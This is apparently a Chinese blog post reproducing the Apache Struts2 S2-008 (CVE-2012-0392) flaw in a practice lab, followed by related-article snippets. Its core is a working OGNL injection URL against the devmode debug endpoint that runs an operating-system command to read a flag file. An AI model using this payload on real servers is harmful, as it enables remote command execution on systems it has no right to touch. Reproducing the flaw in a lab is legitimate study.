[漏洞复现]Apache Struts2/S2-008（CVE-2012-0392）

已于 2024-01-17 13:02:54 修改
阅读量482 收藏 9
点赞数 6
分类专栏： 漏洞复现 春秋云境靶场 Struts 文章标签： apache struts web安全
于 2024-01-15 15:10:32 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/k5664524/article/details/135601878
版权

一、漏洞情况分析

2.3.1.1 之前的 Apache Struts 中的 CookieInterceptor 组件不使用参数名称白名单，这允许远程攻击者通过精心制作的 HTTP Cookie 标头执行任意命令，该标头通过静态方法触发 Java 代码执行。

二、漏洞复现

春秋云境.com

进入靶场

开始复现

/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20%2Fflag%27%29.getInputStream%28%29%29)

 将构造好的payload放入url中访问

三、漏洞处置建议 

把靶场关了，跟漏洞说“白白吧”

free key
关注
  • 6
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞S2-008 （CVE-2012-0391）
qq_51577576的博客
10-15 1028
[ vulhub漏洞复现篇 ] struts2远程代码执行漏洞S2-008 （CVE-2012-0391） S2-008 涉及多个漏洞，主要利用对传入参数没有严格限制，导致多个地方可以执行恶意代码。 第一种情况其实就是 S2-007，在异常处理时的OGNL 执行第二种的cookie的方式，虽然在struts2没有对恶意代码进行限制，但是java的webserver（Tomcat），对cookie 的名称有较多限制，在传入struts2之前就被处理，从而较为鸡肋第三种需要开启devModedebug 模式。
vulhub-struts2-S2-008 远程代码执行漏洞复现
qq_56426046的博客
06-19 455
影响版本: 2.1.0 - 2.3.1。
Struts2框架漏洞总结与复现(上) 含Struts2检测工具
最新发布
qq_53058639的博客
06-08 1311
在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。时使用了重定向类型，并且还使用paramname作为重定向变量，UserAction中定义有一个name变量，当触发redirect类型返回时，Struts2获取使用{name}获取其值，在这个过程中会对name参数的值执行OGNL表达式解析，从而可以插入任何OGNL表达式导致命令执行。在账号密码的输入框中测试是否存在漏洞。
struts2 CVE-2012-0392 S2-008 Strict DMI does not work correctly allows remote command execution and ...
weixin_34198453的博客
07-11 123
catalog 1. Description 2. Effected Scope 3. Exploit Analysis 4. Principle Of Vulnerability 5. Patch Fix   1. Description Struts2框架存在一个DevMode模式，方便开发人员调试程序。如果启用该模式，攻击者可以构造特定代码导致OGNL表达式执行，以此...
Struts2_008_RCE CVE-2012-0392 漏洞复现
ADummy的博客
02-18 1254
Struts2_008_远程代码执行 by ADummy 0x00利用路线 ​ burpuite抓包—>修改payload—>重放包—>代码执行 0x01漏洞介绍 ​ 为了防止攻击者在参数内调用任意方法，默认情况下将标志xwork.MethodAccessor.denyMethodExecution设置为true，并将SecurityMemberAccess字段allowStaticMethodAccess设置为false。另外，为了防止访问上下文变量，自Struts 2.2.1.
S2-008远程代码执行漏洞（CVE-2012-0392）
m0_65150886的博客
01-09 410
S2-008 涉及多个漏洞，Cookie 拦截器错误配置可造成 OGNL 表达式执行，但是由于大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，一些关键字符无法使用使得这个点显。借此漏洞，攻击者可以执行任意的代码，例如协议脚本文件；向网站写入webshell；控制整个网站或者服务器。1.访问http://ip:port，出现如下页面，开始实验。构造poc，查看当前用户id。
Apache_Struts2漏洞(S2-045,CVE-2017-5638)
01-20
CVE-2017-5638 是S2-045漏洞的官方CVE编号，这表明了它是一个被广泛认可的安全漏洞。当Struts2尝试解析非标准的MIME类型时，比如“multipart/form-data; boundary=----WebKitFormBoundary”这类格式，如果没有正确...
struts-2.3.24-apps.zip包测试Struts2 S2-048高危漏洞
09-08
2017年7月7日，Apache Struts发布最新的安全公告，Apache Struts2-strus1-plugin插件存在远程代码执行的高危漏洞，漏洞编号为CVE-2017-9791(S2-048),主要受影响的Struts版本为：2.3.x。 攻击者可以构造恶意的字段值...
struts2-core-2.3.31.jar
10-09
该漏洞与Apache Struts2 （S2-045）远程代码执行漏洞原理基本相同，均是由于上传功能的异常处理函数没有正确处理用户输入的错误信息，导致远程攻击者可通过发送恶意的数据包，利用该漏洞在受影响服务器上执行任意...
Struts2漏洞检查工具2019版 V2.3.exe
01-16
Struts2漏洞检查工具2019版 警告： 本工具为漏洞自查工具，请勿非法攻击他人网站！...S2-005 CVE-2010-1870 Struts 2.0.0-2.1.8.1 http://struts.apache.org/release/2.2.x/docs/s2-005.html 未添加，S2-016范围内
jboss4版本修复Apache Tomcat DIGEST身份验证多个安全漏洞(CVE-2012-3439)升级包
04-25
jboss4版本下，jbossweb-tomcat55.sar升级包，修复Apache Tomcat DIGEST身份验证多个安全漏洞(CVE-2012-3439) 升级包中的jar来源于tomcat5.5.36 使用方法：直接替换jboss中旧的jbossweb-tomcat55.sar
CVE-2019-0230 s2-059 漏洞分析1
08-03
Apache Struts 框架中的 CVE-2019-0230 漏洞是远程代码执行（RCE）漏洞，影响范围为 Struts 2.0.0 - Struts 2.5.20。官方建议升级到 2.5.22 或更高版本。该漏洞的成因是 Struts 框架在强制时对分配给某些标记属性的...
s2系列——s2-007,s2-008,s2-009复现
qq_54030686的博客
03-02 3375
s2-007,s2-008,s2-009复现 简而言之就是payload的输入，具体复现这里不再复现，相关博文，也有蛮多，这里更新下脚本 s2-007 def s2007(url): try: proxy = '192.168.43.74:8080' # 本地代理 proxies = { 'http': 'http://' + proxy, 'https': 'https://' + proxy }
Struts S2-008复现
ZJT6666666的博客
12-21 265
Struts S2-008复现
漏洞复现----30、Struts2/S2-008
七天
06-29 838
影响版本 2.1.0 - 2.3.1 漏洞原理 S2-008 涉及多个漏洞，Cookie 拦截器错误配置可造成 OGNL 表达式执行，但是由于大多 Web 容器（如 Tomcat）对 Cookie 名称都有字符限制，一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令，正如 kxlzx 所提这种情况在生产环境中几乎不可能存在，因此就变得很鸡肋的，但我认为也不是绝对的，万一被黑了专门丢了一个开启
S2-008 &S2-009 远程代码执行漏洞检测与利用
Fly_鹏程万里
12-14 4077
前言 漏洞环境改自vulhub https://github.com/kingkaki/Struts2-Vulenv S2-008 漏洞信息 https://cwiki.apache.org/confluence/display/WW/S2-008 主要是利用对传入参数没有严格限制，导致多个地方可以执行恶意代码 第一种情况其实就是S2-007，在异常处理时的OGNL执行 第二...
Apache Struts2远程代码执行漏洞(S2-008)复现总结
qq_45746681的博客
10-07 1593
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录前言一、漏洞原理2.复现 前言 记录并复现相关struts漏洞,加深理解 一、漏洞原理 主要是利用对传入参数没有严格限制，导致多个地方可以执行恶意代码，传入?debug=command&expression=即可执行OGNL表达式 2.复现 访问墨者学院strut2-008靶机 构造poc，执行命令ls，查看文件。 ?debug=command&expression=%23context%5B%22xwork
Struts2对应CVE编号记录
ch4nge
08-18 1776
S2-001(CVE-2007-4556) - 远程代码利用表单验证错误 S2-002（无CVE） - <s：url>和<s：a>标记上的跨站点脚本（XSS）漏洞 S2-003（无CVE） - XWork ParameterInterceptors旁路允许OGNL语句执行 S2-004（无CVE） - 提供静态内容时的目录遍历漏洞 S2-005(CVE-2010-1870) - XWork ParameterInterceptors旁路允许远程命令执行 S2-006(CVE-201.

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值